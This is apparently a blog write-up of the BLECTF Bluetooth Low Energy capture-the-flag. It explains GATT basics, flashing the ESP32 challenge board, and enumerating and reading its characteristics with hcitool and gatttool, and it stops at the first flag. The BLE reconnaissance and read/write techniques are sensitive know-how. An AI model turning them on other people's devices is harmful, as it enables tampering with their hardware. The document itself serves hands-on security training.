<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgt60-dW5ahu2WWpvcEY_oCLYxAplXP-39atTMTuY_Xb6VgXKNixhEVf-c8DvnRjfg6AD3Hm4wtL2go5TXDp03ONPs_4QXBs_62SpAxJ7ZP8aTRUQm9cDD2-E7dz7ZKFzssT4_jJybEpYI/s1600/05-12-2019+14-53-30.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="416" data-original-width="223" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgt60-dW5ahu2WWpvcEY_oCLYxAplXP-39atTMTuY_Xb6VgXKNixhEVf-c8DvnRjfg6AD3Hm4wtL2go5TXDp03ONPs_4QXBs_62SpAxJ7ZP8aTRUQm9cDD2-E7dz7ZKFzssT4_jJybEpYI/s320/05-12-2019+14-53-30.png" width="171" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div>
<br /></div>
<div>
<div style="text-align: justify;">
<b>GAP</b> defines several roles for the devices, but for now the only thing we need to be clear about is that we are going to have <b>central devices</b> and <b>peripherals devices</b>.</div>
</div>
<div>
<b>Peripheral devices</b> are small, "simple", low resource and low consumption devices (glucometer, a pulse meter, temperature and humidity stations, etc...) and can be connected to much more powerful central devices.<br />
<b>Central devices</b> usually correspond to more powerful devices with more memory and processing resources such as mobile phones, tablets, computers, etc..<br />
<br />
<br />
<b>GATT </b>comes into play when we have already established a connection between two devices (and therefore, after previously going through the GAP) and the most significant thing about the GATT is that the connections are exclusive and this is, in essence, that when a peripheral device is connected to a central device of those exposed in the previous paragraph, this will stop being announced and other devices will no longer be able to see it or connect to it until the existing connection is finished.<br />
Consequently, establishing a connection is also the only way to allow two-way communication in which the central device can send data to the peripheral and vice versa.<br />
<br />
GATT define two roles in each connection: <b>client </b>and <b>server</b>. There are some services and features in a predefined standard form that are represented in 16-bit format, but the advantage of BLE is that it allows each manufacturer definir its own services using a 128-bit UUID to adapt this technology to its own applications.<br />
<br /></div>
<div>
<h4>
GATT Attributes </h4>
</div>
<div>
<div style="text-align: justify;">
GATT servers store information data of different types, organizing it in the form of attributes. An attribute is a piece of tagged and accessible data. Its structure is as follows:</div>
</div>
<div style="text-align: center;">
<div style="text-align: center;">
<img height="107" src="https://microchip.wdfiles.com/local--files/wireless:ble-gatt-attributes/attribute-structure.png" width="640" /></div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: left;">
<br />
<ul>
<li style="text-align: justify;">The <b><u>Handle attribute</u></b> is a unique 16-bit identifier that never changes and gives the attribute the quality of <i>accessible</i>.</li>
<li style="text-align: justify;">The <b><u>Type attribute (UUID)</u></b> determines what type of data is stored in the "Value" attribute and uses a 2 or 16-byte universal unique identifier. </li>
<li style="text-align: justify;">The <b><u>Value attribute</u></b> contains the actual value of the data that can be accessed by a client device.</li>
<li style="text-align: justify;">The<b><u> Permissions attribute</u></b> is metadata that determines the ATT access operations allowed for the Value attribute (read, write, or none) and the security requirements (encryption (and required type of encryption) and require authorization).</li>
</ul>
</div>
<div style="text-align: left;">
<br />
<div>
<div style="text-align: justify;">
GATT establishes a hierarchy based on high-level nested objects called: Profiles, Services and Features, which are grouped as follows:<br />
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZXisF4IdTZRI0c6IJ_KLlLf1jolalc_LD1oNXownB4NPbtp31w8GYMndEkTaoWkpe6rAzZrbwDQKXdhaefEXRMI7pmby710g6Fq6Fd6l_MinWWytxDkEr871uKGpdMowiDblWBe79Skw/s1600/GATT-data-hierarchy-Immediately-before-the-connection-the-GATT-server-exposes-its.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="556" data-original-width="765" height="290" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZXisF4IdTZRI0c6IJ_KLlLf1jolalc_LD1oNXownB4NPbtp31w8GYMndEkTaoWkpe6rAzZrbwDQKXdhaefEXRMI7pmby710g6Fq6Fd6l_MinWWytxDkEr871uKGpdMowiDblWBe79Skw/s400/GATT-data-hierarchy-Immediately-before-the-connection-the-GATT-server-exposes-its.png" width="400" /></a></div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
<br /></div>
</div>
</div>
</div>
<div>
<div style="text-align: justify;">
Why did all this boring theory come up and what does it have to do with the CTF? Well, because, as we will see later, the 20 challenges of which the CTF flags are composed are each identified by a <b>handle</b>, and it will be the value that we will have to read, and sometimes modify and send with the hints received to obtain the flags. Don't suffer, I promise you that from now on this post is less heavy and we enter the practical part which is what we all like!</div>
<div style="text-align: justify;">
<br /></div>
<br />
<br /></div>
<h3>
The hardware</h3>
<div>
<div style="text-align: justify;">
BLECTF runs on ESP32 chipset, a SoC (System on Chip) designed by the Chinese company Espressif and originally manufactured by TSMC that integrates in a single chip a 32bits to 160Mhz dual-core Tensilica Xtensa processor (with possibility of up to 240Mhz), WiFi and Bluetooth connectivity.</div>
</div>
<div>
<div style="text-align: justify;">
<br />
Somehow among the maker community has always been considered the "big brother" or the evolution of the classic ESP8266 and in fact adds many features and improvements over the ESP8266 such as increased power, Bluetooth 4.0, hardware encryption, temperature sensor, hall sensor, touch sensor, real-time clock (RTC) and more ports.<br />
<br /></div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1KYX3eb7or7UDPrpYAoUXuECYpVe7yqOy_JmO2GDGkCqFzdm5IzsuMtUTugPQthkCHiASxNprE4uuPvXuGuV7kgvT1MqlSLQtwsv7BIMGFbh2uQsxPDtdoRTBuh3zwa-FIZNorhXaGmg/s1600/ESP001.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="923" data-original-width="1600" height="184" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1KYX3eb7or7UDPrpYAoUXuECYpVe7yqOy_JmO2GDGkCqFzdm5IzsuMtUTugPQthkCHiASxNprE4uuPvXuGuV7kgvT1MqlSLQtwsv7BIMGFbh2uQsxPDtdoRTBuh3zwa-FIZNorhXaGmg/s320/ESP001.png" width="320" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<div style="text-align: justify;">
You can find it for around 10 euros on Amazon if you are the most impatient or around 4 euros if you are not in a hurry to receive it and decide to order it from chinesse supliers.</div>
</div>
<div>
<div style="text-align: justify;">
<br />
In addition to the hardware to install and run the CTF we should also keep in mind the hardware we will be using in our computer to carry out the challenges. Although some bluetooth adapters integrated in laptops may be enough for the challenges, depending on the chipset they use we may have problems connecting to the CTF or in certain challenges.<br />
<br />
I personally like to have in my "Wireless Arsenal" a totally dedicated device for all my Bluetooth "experimens" and after researching for a while I got it right with a SENA Parani UD-100.</div>
</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHnZh5Sth4ym3fKePvzjfBY02ErS9A2Q4e3jN9OapHRjMU0_C57kc3wraMqgOIJll91NRZB4AOuD_shYVwnHYuDocX6MMzjziP4GetQE-NLVhoBKL0wVgh_N5l8hMlI_0J_WkC3GfywOM/s1600/UD100.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="818" data-original-width="1600" height="163" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHnZh5Sth4ym3fKePvzjfBY02ErS9A2Q4e3jN9OapHRjMU0_C57kc3wraMqgOIJll91NRZB4AOuD_shYVwnHYuDocX6MMzjziP4GetQE-NLVhoBKL0wVgh_N5l8hMlI_0J_WkC3GfywOM/s320/UD100.png" width="320" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<h3>
Flashing the software</h3>
<div>
<div style="text-align: justify;">
First of all we will start by installing the necessary pre-requisites in our equipment:<br />
<div>
<br /></div>
</div>
<div style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;"><b>#apt-get install git wget flex bison gperf python python-pip python-setuptools python-serial python-click python-cryptography python-future python-pyparsing python-pyelftools cmake ninja-build ccache</b></span></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Then we must download the software libraries provided by Espressif in the ESP-IDF repository:<br />
<br /></div>
</div>
<div style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;"><b>#cd ~/esp </b></span></div>
<div>
<div style="text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;"><b>#git clone --recursive https://github.com/espressif/esp-idf.git</b></span></div>
</div>
<div>
<div style="text-align: justify;">
<span style="font-family: inherit;"><br /></span></div>
</div>
<div>
<div style="text-align: justify;">
<span style="font-family: inherit;"><br /></span></div>
</div>
<div>
<div>
In addition to ESP-IDF, it is also necessary to install the tools used by it such as the compiler, debugger, Python packages, etc. And for that we can use the script <span style="font-family: "courier new" , "courier" , monospace;"><b>install.sh</b></span> included in the package we just downloaded inside the <span style="font-family: "courier new" , "courier" , monospace;"><b>esp-idf</b></span> folder</div>
</div>
<div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEha58iHTm5M1SwcAlORUQm4sc4dLHFmnHOUWv6v7V85t4GrQDzHdJlHgGicAxkwTJ4-4nw0VpjY7XiCJz398mFIlg_za8-IFdkfAyiPxKDGuA2pXRTvd5ACHyaiPf5UdzV0n068jZxDwJc/s1600/install00.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="144" data-original-width="890" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEha58iHTm5M1SwcAlORUQm4sc4dLHFmnHOUWv6v7V85t4GrQDzHdJlHgGicAxkwTJ4-4nw0VpjY7XiCJz398mFIlg_za8-IFdkfAyiPxKDGuA2pXRTvd5ACHyaiPf5UdzV0n068jZxDwJc/s1600/install00.png" /></a></div>
<br />
<br />
<div style="text-align: justify;">
We must accompany it with a change in the environment routes so that we do not have problems when compiling the project:</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCP8a1bD8608Dk9b9YDG1UzPpzJA3jwZGrNAS1ll7CSfb6rotGC-keCqYeqeY9KQsSW5Hfx9MNeMzMYKFy5Qz4LCD7YjFF7C7IkMnaj_2kK-8zM7KYj72zAEaV1wPTtVsJJGdBf5ih21s/s1600/install01.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="42" data-original-width="619" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCP8a1bD8608Dk9b9YDG1UzPpzJA3jwZGrNAS1ll7CSfb6rotGC-keCqYeqeY9KQsSW5Hfx9MNeMzMYKFy5Qz4LCD7YjFF7C7IkMnaj_2kK-8zM7KYj72zAEaV1wPTtVsJJGdBf5ih21s/s1600/install01.png" /></a></div>
<br /></div>
<div>
<br /></div>
<div>
Now we are able to compile and flash our CTF and to do that the first thing is to download it from the <a href="https://github.com/hackgnar/ble_ctf.git" target="_blank">creator's GitHub</a> and decompress it in our system. Then we'll run "<span style="font-family: "courier new" , "courier" , monospace;"><b>make menuconfig</b></span>" which will open a menu of options and where we'll have to perform a very simple action but that personally drove me crazy for hours because without it it's impossible to compile and it's to enable Bluetooth in the framework options!<br />
<span style="font-family: inherit;"></span><br />
This configuration can be found in "Component config" and then into "Bluetooth".<br />
<span style="font-family: inherit;"><br /></span>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizE9XBnCNxQFtVf2DTzUzZP2fKP7xEA0Rxky6eC9SsVvgELlJwCXysL86504XJXEa8dihyphenhyphen_tY6Iupg42w7NbOvbjljR1oG8KBmwWsnnKdiwPdwxOTJQmllC6rbFHPbclhiH9NKk2c-7FI/s1600/bluetooth_activation.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="503" data-original-width="1124" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizE9XBnCNxQFtVf2DTzUzZP2fKP7xEA0Rxky6eC9SsVvgELlJwCXysL86504XJXEa8dihyphenhyphen_tY6Iupg42w7NbOvbjljR1oG8KBmwWsnnKdiwPdwxOTJQmllC6rbFHPbclhiH9NKk2c-7FI/s1600/bluetooth_activation.png" /></a></div>
<span style="font-family: inherit;"><br /></span><span style="font-family: inherit;"><br /></span><br />
<div style="text-align: justify;">
<span style="font-family: inherit;">We leave the application (saving the changes before!) and then we can launch the "<span style="font-family: "courier new" , "courier" , monospace;"><b>make</b></span>" command to carry out the complicated bin file that we will later save in the hardware</span><span style="font-family: inherit;">.</span></div>
<div style="text-align: justify;">
<span style="font-family: inherit;"><br /></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1I7wjLDN0jnofFM4bSKQiwPxQoR7lIG9Uwh-Y1hz0iXASjN15UhhWOyCdMEZuToqfOw2VG8393shPxH2oTlHvH_Ej40GCgUACuSn1T8dDLcc6RyVrK_Vgqhs0FoAM86ltiLyzvcO9cl0/s1600/install02.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="363" data-original-width="940" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1I7wjLDN0jnofFM4bSKQiwPxQoR7lIG9Uwh-Y1hz0iXASjN15UhhWOyCdMEZuToqfOw2VG8393shPxH2oTlHvH_Ej40GCgUACuSn1T8dDLcc6RyVrK_Vgqhs0FoAM86ltiLyzvcO9cl0/s1600/install02.png" /></a></div>
<span style="font-family: inherit;"><br /></span><span style="font-family: inherit;"><br /></span><br />
<div style="text-align: justify;">
Finally we just have to connect our ESP32 to our computer, make sure the device is recognized and then run "<b><span style="font-family: "courier new" , "courier" , monospace;">make flash</span></b>" and watch the flashing of the challenge platform in the ESP32 start. In just a few minutes the device will reboot and will already be announcing itself in the wireless spectrum as a BLE device<span style="font-family: inherit;">.</span></div>
</div>
<div>
<div style="text-align: justify;">
<span style="font-family: inherit;"><br /></span></div>
</div>
<div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbSEAQ4Xq1RZHtk2yYM4fnVcez5jhBEjhSZyu7nqyeFWYl6Z_EAUipBJjtm6dVOsEl5rRNZqkdh2jz4LAefqBQtwij_vUzJ710pwOelRhNOBrChUvCwII9BFrzrdrcN3hZnDAK5sAMwJM/s1600/install03.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="384" data-original-width="861" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgbSEAQ4Xq1RZHtk2yYM4fnVcez5jhBEjhSZyu7nqyeFWYl6Z_EAUipBJjtm6dVOsEl5rRNZqkdh2jz4LAefqBQtwij_vUzJ710pwOelRhNOBrChUvCwII9BFrzrdrcN3hZnDAK5sAMwJM/s1600/install03.png" /></a></div>
<span style="font-family: "courier new" , "courier" , monospace;"><b><br /></b></span><span style="font-family: "courier new" , "courier" , monospace;"><b><br /></b></span><span style="font-family: "courier new" , "courier" , monospace;"><b><br /></b></span><br />
<div>
<h3>
First steps with the CTF </h3>
</div>
<div>
<div style="text-align: justify;">
Before starting to fight directly with the flags, there are some things that we must know and "put in place" in a minimally ordered which will provide the ground to concentrate on solving the proposed challenges, is a kind of recognition phase in which one of the first steps will be to identify our local bluetooth device and locate in our nearby the ESP32 running BLECTF.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
For both things we will help us from the suite of tools <i><b>hcitool </b></i>and we will start by knowing how our system has named our device, using the command <span style="font-family: "courier new" , "courier" , monospace;"><b>hcitool dev</b></span> the tool shows us all the bluetooth devices that the operating system has recognized, in our case being only one, it has named it as <b>hci0</b>.</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbam_KmxnauPqRCQMJsOdbd71jh34mZv8OQvo5ZApu7x9WlKfvVhqZcmj4NDrNzGpF5cbVRXBmf1URwW8UpJ39AP_ToAhPh2uERmPyo_bQvl3phaMDYJPFusXLivbCEfe9L55UHnvcfgg/s1600/mydevice.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="66" data-original-width="339" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhbam_KmxnauPqRCQMJsOdbd71jh34mZv8OQvo5ZApu7x9WlKfvVhqZcmj4NDrNzGpF5cbVRXBmf1URwW8UpJ39AP_ToAhPh2uERmPyo_bQvl3phaMDYJPFusXLivbCEfe9L55UHnvcfgg/s1600/mydevice.png" /></a></div>
<br />
<br />
<div style="text-align: justify;">
The next step will be to try to locate the ESP32 that is running the BLECTF and for that we use again <span style="font-family: "courier new" , "courier" , monospace;"><b>hcitool </b></span>this time with the option <span style="font-family: "courier new" , "courier" , monospace;"><b>lescan</b></span> that will sweep the wireles spectrum in search of BLE devices within range, then we will see how a clearly differentiated device appears with the public name <b><i>BLECTF</i></b>, we must write down its mac address <span style="font-family: "courier new" , "courier" , monospace;">30:AE:A4:7B:7E:72</span> because we will use it a lot from now on.</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWY8XvraxQ3zz2tAzarRIv8SlsyhcYoWXDmnwvAFWS7IPRbViWYyTbXRvowBqUWzdjFKpxnXXWN-OrlVO8ts0ESLfaWGi82IdEoOYfDO_N21scdJ8RE7vm-RVK1Z72TjNbU3MYADQA9Uc/s1600/detectvlectf.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="165" data-original-width="282" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiWY8XvraxQ3zz2tAzarRIv8SlsyhcYoWXDmnwvAFWS7IPRbViWYyTbXRvowBqUWzdjFKpxnXXWN-OrlVO8ts0ESLfaWGi82IdEoOYfDO_N21scdJ8RE7vm-RVK1Z72TjNbU3MYADQA9Uc/s1600/detectvlectf.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
</div>
<div>
<br /></div>
<div>
<div style="text-align: justify;">
As the author indicates in his Github, another tool that we need to know and with which it is better that we familiarize ourselves as soon as possible is <b>GATTTOOL</b>, a tool focused on BLE and that will allow us to interact with the GATT services of our CTF hardware unit.</div>
<div style="text-align: justify;">
<br />
With gatttool we can discover, read and write features the data structure of characteristics and attributes that we read in the boring theory section.</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNb42-fCJeBC2PLlLoRwXf2LFah3dXoITv77MGqiwQgHNK3ShvHi8Q07uqDVWmf_J9iTrI3yl9gqpLQWnPSk3YmxSRjqV1VyrTKBEXp8N5R24LvGleqx5BVsYdJBMjLRufa5nqRdFGMZY/s1600/gatttool.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="346" data-original-width="965" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhNb42-fCJeBC2PLlLoRwXf2LFah3dXoITv77MGqiwQgHNK3ShvHi8Q07uqDVWmf_J9iTrI3yl9gqpLQWnPSk3YmxSRjqV1VyrTKBEXp8N5R24LvGleqx5BVsYdJBMjLRufa5nqRdFGMZY/s1600/gatttool.png" /></a></div>
<br />
<br />
<div style="text-align: justify;">
We begin by asking the device for the services offered with the command <span style="font-family: "courier new" , "courier" , monospace;"><b>gatttool -b 30:ae:a4:7b:7e:72 --primary</b></span> where we will get three results each with its individual UUID defined, and of which only one is not defined by the standard (<b>00001800</b>) and therefore is a personalized one, so it it hosts the CTF.</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgVzYHOD7lCK_Hjxf8NNDFa2FWV9SZlLzVTr2WqFc0vV4I1fIrOFVfmNNITvkIFAv9XMFjde_y07LphyO3SygnyNOEhNo1S3Dyl81CnAHIzqakcxS7dr6E359DqERZ4I3Pl_kL_0qYsPO8/s1600/services.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="77" data-original-width="811" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgVzYHOD7lCK_Hjxf8NNDFa2FWV9SZlLzVTr2WqFc0vV4I1fIrOFVfmNNITvkIFAv9XMFjde_y07LphyO3SygnyNOEhNo1S3Dyl81CnAHIzqakcxS7dr6E359DqERZ4I3Pl_kL_0qYsPO8/s1600/services.png" /></a></div>
<br />
<br />
<div>
If we want to see where the 20 CTF challenges are with their respective handles we can use the command <span style="font-family: "courier new" , "courier" , monospace;"><b>gatttool -b 30:ae:a4:7b:7e:72 --characteristics </b></span></div>
<div style="text-align: justify;">
<b><span style="font-family: "arial" , "helvetica" , sans-serif;"><br /></span></b></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTw1QQFLryd0YXZxO67V8j6dkDJVaLAu8TkPuv7fnkQrATLnOzLgWqlf12TZ3yVX3k7eBtLnQ5-DrFQJix_ZbA9qOuvPaTebPyKgOlttvFc51GygpsW13JMAPwqKs_WGmC-Lhu7kHT0I0/s1600/characteristics.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="508" data-original-width="1024" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTw1QQFLryd0YXZxO67V8j6dkDJVaLAu8TkPuv7fnkQrATLnOzLgWqlf12TZ3yVX3k7eBtLnQ5-DrFQJix_ZbA9qOuvPaTebPyKgOlttvFc51GygpsW13JMAPwqKs_WGmC-Lhu7kHT0I0/s1600/characteristics.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<br />
<div style="text-align: justify;">
According to the author himself, there is a command that we are going to use a lot from now on and that will help us to know our score and check, after putting the flags, that they are correct and go up to the score. That score is stored in the handle <b>0x002a </b>and the command that we suggest the creator is: <span style="font-family: "courier new" , "courier" , monospace;"><b>gatttool -b 30:ae:a4:7b:7e:72 --char-read -a 0x002a|awk -F':' '{print $2}'|tr -d ' '|xxd -r -p;printf '\n'</b></span><br />
<br />
Due we're going to use it many times and it's not exactly a short command, it's a good idea to put it in a bash file to make it easier to execute.</div>
<span style="font-family: inherit;"><br /></span>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtBj6urV1fMhDm3Mf56Hx2AjSru-5_Dzh88dwuY3F-T4GMczFRy4Z8JQrWCPHdL8kGYLSvZ2Bz86JI6U6QBniovkMOHakKTgio3J6hNGdqzV-YYW2OMZUi50KS8vekQaQfBooRX5F8sJU/s1600/score.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="122" data-original-width="986" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtBj6urV1fMhDm3Mf56Hx2AjSru-5_Dzh88dwuY3F-T4GMczFRy4Z8JQrWCPHdL8kGYLSvZ2Bz86JI6U6QBniovkMOHakKTgio3J6hNGdqzV-YYW2OMZUi50KS8vekQaQfBooRX5F8sJU/s1600/score.png" /></a></div>
<span style="font-family: inherit;"><br /></span><span style="font-family: inherit;"><br /></span><br />
<div style="text-align: justify;">
Just by giving it execution permissions we will have made our lives much easier and it will be enough to execute it to check the score at all times.<br />
<br />
<span style="font-family: inherit;"></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOCVd-EboN5WGQlSp2B73-QhwMp0nsNYsbMwyaFBVUf1w8ZbRdGAqW8hrjOko8A5pzgOFVONPFwTcg1F3tJDVMNrZJU-9GIYaq81C32VOs6MG2cegtiERMJrwEouAopK6InD0gR5iq35I/s1600/score_demo.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="38" data-original-width="233" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOCVd-EboN5WGQlSp2B73-QhwMp0nsNYsbMwyaFBVUf1w8ZbRdGAqW8hrjOko8A5pzgOFVONPFwTcg1F3tJDVMNrZJU-9GIYaq81C32VOs6MG2cegtiERMJrwEouAopK6InD0gR5iq35I/s1600/score_demo.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
In the same way that we have used bash to facilitate the consultation of our score to ESP32, we can repeat the same procedure with the rest of commands that we are going to need in a repetitive way as it is to read the content of the handle.</div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
As this varies with each flag, we will have to configure our executable in bash to pass it as an argument the value of the handle with '<span style="font-family: "courier new" , "courier" , monospace;"><b>-a $1</b></span>'.</div>
<div class="separator" style="clear: both; text-align: justify;">
<span style="font-family: "courier new" , "courier" , monospace;"><b><br /></b></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2fjua79fZrn-yVHPSODQrA4RWyps6t7G4fFSjBDFPQdxi90AgApR6Kp3vk32h5SerD9-Kj_RQs0VK9MqJ15CJBFZw8pviAbT9oVUTZ3fyiA6Rb_zpRzigV68hNlwWB3AFYTRChOY2zjk/s1600/lee_handle.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="109" data-original-width="1006" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2fjua79fZrn-yVHPSODQrA4RWyps6t7G4fFSjBDFPQdxi90AgApR6Kp3vk32h5SerD9-Kj_RQs0VK9MqJ15CJBFZw8pviAbT9oVUTZ3fyiA6Rb_zpRzigV68hNlwWB3AFYTRChOY2zjk/s1600/lee_handle.png" /></a></div>
<div class="separator" style="clear: both;">
<span style="font-family: "courier new" , "courier" , monospace;"><b><br /></b></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_8wJimvZTSRrYP94G4GLXOg2omX8zgZ0Ae-krsypIslvOSvrxbMTQd3WQHVZ-EGWaiocxBaQX7zLfR8i46Z9Dr3cxEXpCswHW9E6BY6TfPvZjyyLQSV3Ew9oHVgIPbkaRCTgsj0FPBlA/s1600/lee_handle_demo.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="38" data-original-width="452" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_8wJimvZTSRrYP94G4GLXOg2omX8zgZ0Ae-krsypIslvOSvrxbMTQd3WQHVZ-EGWaiocxBaQX7zLfR8i46Z9Dr3cxEXpCswHW9E6BY6TfPvZjyyLQSV3Ew9oHVgIPbkaRCTgsj0FPBlA/s1600/lee_handle_demo.png" /></a></div>
<div class="separator" style="clear: both;">
<br /></div>
<div class="separator" style="clear: both;">
<br /></div>
<div style="text-align: justify;">
And now we finally have everything in place and ready to start facing the 20 challenges of the platform. Let's get to work!</div>
<div style="text-align: justify;">
<br /></div>
<br /></div>
<h3>
WRITE-UP</h3>
<div>
<h4>
Flag 1</h4>
<div style="text-align: justify;">
The first flag should be made just by following the indications given by the author himself in his <a href="https://github.com/hackgnar/ble_ctf/blob/master/docs/hints/flag1.md" target="_blank">corresponding hint</a> and it is a "gift" for us to become familiar with the way in which we are going to upload the flags to the platform.</div>
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqewFfR32NzSaneOqR23nA7GzddVlEjDcCY8b-pySLozvfdDpBcnanhohY6rTHXrx44xitV3Iig-Mulvr_EIgFGNMLKIqSNFAFu6H1PuE6TMTxqCx7a5Nv2nBeRpwXn8f4JRaoFyaO-3o/s1600/hint+1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="406" data-original-width="576" height="281" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqewFfR32NzSaneOqR23nA7GzddVlEjDcCY8b-pySLozvfdDpBcnanhohY6rTHXrx44xitV3Iig-Mulvr_EIgFGNMLKIqSNFAFu6H1PuE6TMTxqCx7a5Nv2nBeRpwXn8f4JRaoFyaO-3o/s400/hint+1.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
Said and done! We follow the instructions and we receive a message indicating that the value has been correctly recorded in that characteristic, we check the score with our bash executable and indeed we have a point corresponding to that first flag! </div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
